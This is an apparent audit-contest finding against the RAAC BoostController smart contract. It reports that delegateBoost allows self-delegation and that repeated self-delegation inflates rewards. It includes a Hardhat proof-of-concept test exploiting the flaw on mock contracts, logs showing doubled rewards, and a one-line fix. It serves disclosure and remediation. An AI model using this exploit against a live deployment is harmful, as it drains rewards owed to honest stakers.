Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Self-Delegation Reward Inflation.

Summary

In the BoostController contract, the delegateBoost function fails to verify whether a user is attempting to delegate boost to themselves. As a result, an attacker can repeatedly self-delegate boost, artificially inflating their effective stake and earning more rewards than intended.

Vulnerability Details

Function delegateBoost:

function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (
duration < MIN_DELEGATION_DURATION ||
duration > MAX_DELEGATION_DURATION
) revert InvalidDelegationDuration();
// @audit Does not check to!=msg.sender
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}

The function does not check that the delegate (to) is different from the caller (msg.sender). This omission allows a user to delegate boost to themselves as long as their balance is sufficient and they have not already been delegated boost from another address.

Moreover, once the delegation expires, the attacker can remove it using the removeBoostDelegation function:

function removeBoostDelegation(
address from
) external override nonReentrant {
UserBoost storage delegation = userBoosts[from][msg.sender];
if (delegation.delegatedTo != msg.sender) revert DelegationNotFound();
if (delegation.expiry > block.timestamp)
revert InvalidDelegationDuration();
// Update pool boost totals before removing delegation
PoolBoost storage poolBoost = poolBoosts[msg.sender];
if (poolBoost.totalBoost >= delegation.amount) {
poolBoost.totalBoost -= delegation.amount;
}
if (poolBoost.workingSupply >= delegation.amount) {
poolBoost.workingSupply -= delegation.amount;
}
poolBoost.lastUpdateTime = block.timestamp;
emit DelegationRemoved(from, msg.sender, delegation.amount);
-> delete userBoosts[from][msg.sender];
}

This function deletes the delegation from the userBoosts mapping, enabling the attacker to re-initiate a new self-delegation after the previous one expires.

For example, suppose a user has a balance of 1000 veTokens, stakes 100 veTokens, and locks them for one year. The user can self-delegate 100 veTokens for the minimum duration (e.g., 8 days). Once the delegation expires, the user can remove it and immediately self-delegate again. Repeating this process enables the attacker to continuously boost their effective stake, thereby doubling (or more) their reward allocation compared to their actual staked amount.

Impact

Shown in PoC.

Tools Used

Manual Review, Hardhat.

PoC

To run this test, create a new file in test/unit/core/governance/gauges called RAACGaugeExploit.test.js.

import { time } from "@nomicfoundation/hardhat-network-helpers";
import { expect } from "chai";
import hre from "hardhat";
const { ethers, network } = hre;
describe("RAACGauge with MockVeToken", () => {
let raacGauge;
let gaugeController;
let boostController;
let veRAACToken; // This will be our proper voting token (MockVeToken)
let rewardToken;
let owner;
let user1;
let user2;
let emergencyAdmin;
let mockPool;
let snapshotId;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
beforeEach(async () => {
snapshotId = await network.provider.send("evm_snapshot");
[owner, user1, user2, emergencyAdmin] = await ethers.getSigners();
// Deploy reward token using the generic MockToken
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
// Deploy the proper voting token using MockVeToken
const MockVeToken = await ethers.getContractFactory("MockVeToken");
veRAACToken = await MockVeToken.deploy();
// Mint tokens to users for voting/staking
await veRAACToken.mint(await user1.getAddress(), ethers.parseEther("1000"));
await veRAACToken.mint(await user2.getAddress(), ethers.parseEther("500"));
// Deploy GaugeController using veRAACToken's address
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
// Deploy BoostController using veRAACToken's address
const BoostController = await ethers.getContractFactory("BoostController");
boostController = await BoostController.deploy(await veRAACToken.getAddress());
// Deploy a mock pool and add it to BoostController's supported pools
const MockPool = await ethers.getContractFactory("MockPool");
mockPool = await MockPool.deploy();
await boostController.connect(owner).modifySupportedPool(await mockPool.getAddress(), true);
// Align to next week boundary (with some buffer)
const currentTime = BigInt(await time.latest());
const nextWeekStart = ((currentTime / BigInt(WEEK)) + 3n) * BigInt(WEEK);
await time.setNextBlockTimestamp(Number(nextWeekStart));
await network.provider.send("evm_mine");
// Deploy RAACGauge using rewardToken, veRAACToken (our MockVeToken), and gaugeController
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
// Setup roles and initial state in RAACGauge
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), await owner.getAddress());
// Approve tokens for staking
await rewardToken.connect(user1).approve(await raacGauge.getAddress(), ethers.MaxUint256);
await rewardToken.connect(user2).approve(await raacGauge.getAddress(), ethers.MaxUint256);
// Add gauge to GaugeController and set initial weights
await gaugeController.grantRole(await gaugeController.GAUGE_ADMIN(), await owner.getAddress());
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
// Move time forward so period is ready
await time.increase(WEEK);
// Set initial gauge weight via voting
await gaugeController.connect(user1).vote(await raacGauge.getAddress(), WEIGHT_PRECISION);
// Set initial weekly emission rate and fund the gauge
await raacGauge.setWeeklyEmission(ethers.parseEther("10000"));
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("100000"));
// Initialize boost parameters (max boost, min boost, boost window)
await raacGauge.setBoostParameters(
25000, // 2.5x max boost
10000, // 1x min boost
WEEK // 7 days boost window
);
// Set initial weight after time alignment
await raacGauge.setInitialWeight(5000); // 50% weight
// Mine an extra block to ensure time progression
await network.provider.send("evm_mine");
});
afterEach(async () => {
await network.provider.send("evm_revert", [snapshotId]);
});
describe("Initialization", () => {
it("should initialize with correct state", async () => {
expect(await raacGauge.rewardToken()).to.equal(await rewardToken.getAddress());
expect(await raacGauge.stakingToken()).to.equal(await veRAACToken.getAddress());
expect(await raacGauge.WEEK()).to.equal(WEEK);
});
});
describe("Self-Delegation Reward Impact", () => {
it("should allow a user to earn more rewards by self-delegating boost", async () => {
// ===== SCENARIO A: No Self-Delegation =====
// 1. User1 stakes tokens.
await veRAACToken.connect(user1).approve(await raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("200"));
// 2. Wait one period to ensure the weight is set.
await time.increase(WEEK);
// 3. Notify rewards and let them accrue.
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK / 2);
// 4. User1 claims rewards.
await raacGauge.connect(user1).getReward();
const rewardWithoutBoost = await rewardToken.balanceOf(await user1.getAddress());
console.log("Reward without self delegating boost:", rewardWithoutBoost.toString());
// ===== SCENARIO B: With Self-Delegation =====
// Mint extra reward tokens for a new reward round.
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("100000"));
// 1. User1 self-delegates boost via BoostController.
const delegationAmount = ethers.parseEther("200");
const delegationDuration = 8 * 24 * 3600; // 8 days
await expect(
boostController.connect(user1).delegateBoost(await user1.getAddress(), delegationAmount, delegationDuration)
)
.to.emit(boostController, "BoostDelegated")
.withArgs(await user1.getAddress(), await user1.getAddress(), delegationAmount, delegationDuration);
// 2. Update boost so that RAACGauge can use the new boost value.
await boostController.connect(user1).updateUserBoost(await user1.getAddress(), await mockPool.getAddress());
// 3. (Assuming RAACGauge uses BoostController for its effective weight calculation)
const effectiveWeight = await raacGauge.getUserWeight(await user1.getAddress());
console.log("Effective weight with boost:", effectiveWeight.toString());
// Optionally: expect(effectiveWeight).to.be.gt(<baseline_weight>);
// 4. Notify a new reward distribution round.
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK);
// 5. User1 claims rewards.
const balanceBefore = await rewardToken.balanceOf(await user1.getAddress());
await raacGauge.connect(user1).getReward();
const rewardWithBoost = (await rewardToken.balanceOf(await user1.getAddress())) - balanceBefore;
console.log("Reward with the added self delegation boost:", rewardWithBoost.toString());
// 6. Prove that the reward with self-delegation is higher.
expect(rewardWithBoost).to.be.gt(rewardWithoutBoost);
});
});
});

Logs:

Self-Delegation Reward Impact
Reward without self delegating boost: 44997648
Reward with the added self delegating boost: 89995744

Test shows rewards double the amount, with a self delegating boost of double the amount staked.

This verifies the HIGH impact this vulnerability has to the protocol.

Recommendations

To mitigate this issue, add this check to delegateBoost:

function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (
duration < MIN_DELEGATION_DURATION ||
duration > MAX_DELEGATION_DURATION
) revert InvalidDelegationDuration();
+ require(to != msg.sender, "Self delegation not allowed");
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
// audit doesnt update poolBoost structure
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.